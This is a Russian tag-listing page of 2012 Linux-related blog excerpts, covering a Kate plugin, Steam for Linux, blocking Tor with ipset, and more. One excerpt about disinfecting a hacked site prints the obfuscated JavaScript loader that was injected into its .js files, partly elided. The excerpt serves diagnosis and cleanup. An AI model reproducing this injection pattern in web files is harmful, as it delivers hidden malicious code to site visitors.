В данной статье описан процесс написания плагина для kate под названием Neznaju. Плагин предназначен для совместного редактирования текста через сеть. Используя этот плагин вы можете создать сервер, или подключиться к созданному кем-то серверу и совместно редактировать какой-то текст. Плагин максимально простой. На данный момент он поддерживает подключение нескольких клиентов, а также редактирование объёмных файлов (т. к. передаётся только информация об изменениях в документе).
Читать полностью »
Метка «linux» - 67
Как мы делали плагин для kate
2012-06-12 в 10:04, admin, рубрики: c++, kde, linux, open source, opensource, plugin, Программирование, метки: c++, kde, linux, opensource, pluginОпубликовано видео докладов мероприятия Meet Windows Azure
2012-06-09 в 7:55, admin, рубрики: ASP.NET, iaas, linux, node.js, tfs, webmatrix, windows, windows azure, Блог компании Microsoft, Веб-разработка, видео, Облачные вычисления, метки: ASP.NET, IaaS, linux, node.js, tfs, webmatrix, windows, windows azure, видеоНа днях на специальном мероприятии Meet Windows Azure Скотт Гатри анонсировал большую порцию нововведений в облачные сервисы Windows Azure: VM, Iaas, VPN, Linux, Git, Web Sites и массу других. Сегодня на отдельной странице официального сайта опубликованы видео докладов посвященных всем новинкам, так что теперь вы можете ознакомиться с ними в удобной форме:
- Пленарный доклад с анонсом и демонстрацией всех нововведений
Читать полностью »
Вышла Bitcasa для Linux
2012-06-08 в 15:42, admin, рубрики: bitcasa, linux, Облачные вычисления, метки: bitcasa, linux 
Ctuодня компания Bitcasa объявила, что стала доступна Preview версия клиента для Linux.
Читать полностью »
Torrent Stream для Linux/Ubuntu
2012-06-08 в 14:46, admin, рубрики: linux, p2p, Peer-to-Peer, torrent, Блог компании «Torrent Stream», метки: linux, p2p, torrentНачалось открытое тестирование ПО Torrent Stream на ОС Linux/Ubuntu!
Лучшее в мире программное приложение для потокового/онлайн воспроизведения видео и аудио контента через торренты, теперь доступно для пользователей Linux/Ubuntu
С детальной информацией о Системе Torrent Stream и выпускаемом ПО, в рамках данного проекта, можно ознакомиться на сайте torrentstream.org
Всех кто уже знаком с функциями и возможностями Torrent Stream и желает принять участие в
тестировании или просто хочет узнать какие на данный момент продукты доступны
для Linux/Ubuntu, милости просим под кат. Читать полностью »
Сервис Yaware для учёта рабочего времени обновился и выпустил версию для Linux
2012-06-05 в 13:01, admin, рубрики: linux, личная эффективность, продуктивность работы, учёт рабочего времени, я пиарюсь, метки: linux, личная эффективность, продуктивность работы, учёт рабочего времени 
На Хабре уже рассказывали о сервисе Yaware, который даёт возможность вести учёт работы фрилансеров, а также сотрудников компании, работающих удалённо.
Yaware в автоматическом режиме собирает подробную информацию об использовании рабочего времени: времени проведённом за компьютером, начале и окончании рабочего дня, простоях, использовании различных сайтов и программ.
Начиная с сегодняшнего дня, сервисом могут пользоваться не только пользователи Windows, но и Linux. Для установки нужно создать учётную запись на сайте Yaware и скачать приложение.
Читать полностью »
Steam для Linux. Скоро
2012-06-05 в 12:58, admin, рубрики: game development, linux, Steam, метки: linux, Steam 
Ещё в апреле Майкл Ларабел (ресурс Phoronix) посетил офис Valve и подтвердил, что версия Steam для Linux пока в разработке. Также он сообщил, что проектом руководит Гейб Ньюэлл.
Запуск Steam под Линукс требует еще и портирования некоторых игр специально для адекватной работы под этой ОС. Примерный список (в порядке приоритета):
Left 4 Dead 2
Half-Life
Portal (?)
Единственное, чего раньше точно не знали, так это примерной даты выпуска Steam для Линукс. Сегодня ситуация изменилась.Читать полностью »
Как блокировать пользователей, заходящих через Tor
2012-06-04 в 20:52, admin, рубрики: ipset, linux, system administration, Tor, системное администрирование, метки: ipset, linux, system administration, TorТролли сейчас учёные, через одного пользуются Tor'ом. К счастью, блокировать сервера Tor'а не намного сложнее, чем пользователей по IP. Проект Tor подскажет текущий список серверов, с которых можно доступиться до вашего IP адреса. Небольшая проблема в том, что в списке сотни, если не тысячи адресов, поэтому стоит использовать ipset:
# создаём хеш-таблицу индивидуальных IP-адресов в userspace под названием tor
ipset -N tor iphash
# получаем список IP адресов Tor и читаем построчно, $YOUR_IP нужно заменить на свой адрес
wget -q https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=$YOUR_IP -O -|sed '/^#/d' |while read IP
do
# молчаливо добавляем адрес сервера Tor в нашу хеш-таблицу,
ipset -q -A tor $IP
done
# командуем iptables отбрасывать трафик из таблицы tor
iptables -A INPUT -m set --match-set tor src -j DROP
Кроссплатформенная работа со строками на C++
2012-06-04 в 13:01, admin, рубрики: c++, linux, windows, Песочница, метки: c++, linux, windowsНе так давно озадачился вопросом кроссплатформенной работы со строками в приложениях c++. Задача была, грубо говоря, поставлена как регистронезависимый поиск подстроки в любой кодировке на любой платформе.
Итак, первое с чем пришлось понять — что со строками в Линуксе нужно работать в кодировке UTF-8 и в типе std::string, а в Windows строки должны быть в Юникоде (тип std::wstring). Почему? Читать полностью »
Лечение сайта от вируса в файлах javascript и других на примере
2012-06-03 в 20:49, admin, рубрики: javascript, linux, trojan, вирусы, Вирусы (и антивирусы), информационная безопасность, лечение вирусов, сайт, троян, хостинг, метки: javascript, linux, trojan, вирусы, лечение вирусов, сайт, троян, хостингОднажды, я получил письмо от Яндекс.Вебмастер о том, что один из моих сайтов заражён — Сайт содержит код, который может быть опасен для посетителей и, что В настоящий момент сайт выводится в результатах поиска с пометкой «Этот сайт может угрожать безопасности вашего компьютера».
Быстрый анализ показал, что заражены файлы *.js — в конце каждого из них был добавлен код:
try{q=document.createElement("d"+"i"+"v");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(123-122)+zz;ss=[];f='fr'+'om'+'Ch';f+='arC';f+='ode';w=this;e=w[f["substr"](11)+zz];n="19$50$57.5$54
.... тут ещё много таких же надписей ....
$19.5$28.5"[((e)?"s":"")+"p"+"lit"]("a$"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-685!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;e(q);}
Проанализировав выдачу поисковика на тему поиска и замены текста в файлах linux, я получил несколько вариантов команд для консоли.
Далее, я зашёл в систему по SSH и от имени root выполнил команду Читать полностью »
Слушаем музыку из Vkontakte через Амарок — V.2.0
2012-06-03 в 9:28, admin, рубрики: kde, linux, open source, Qt Software, vk api, метки: kde, linux, vk api Всем привет! Не писал статей более двух лет и вот, наконец-то, появилось свободное время. Вы, наверное, не помните мой топик 2-х летней давности — Слушаем музыку из Vkontakte через Амарок. Напомню суть — тогда я написал плагин для KDE-шного Amarok`a, который позволял искать и слушать музыку из Вконтакте. Если вам все еще интересно, прошу под кат(осторожно — картинки!).
Читать полностью »

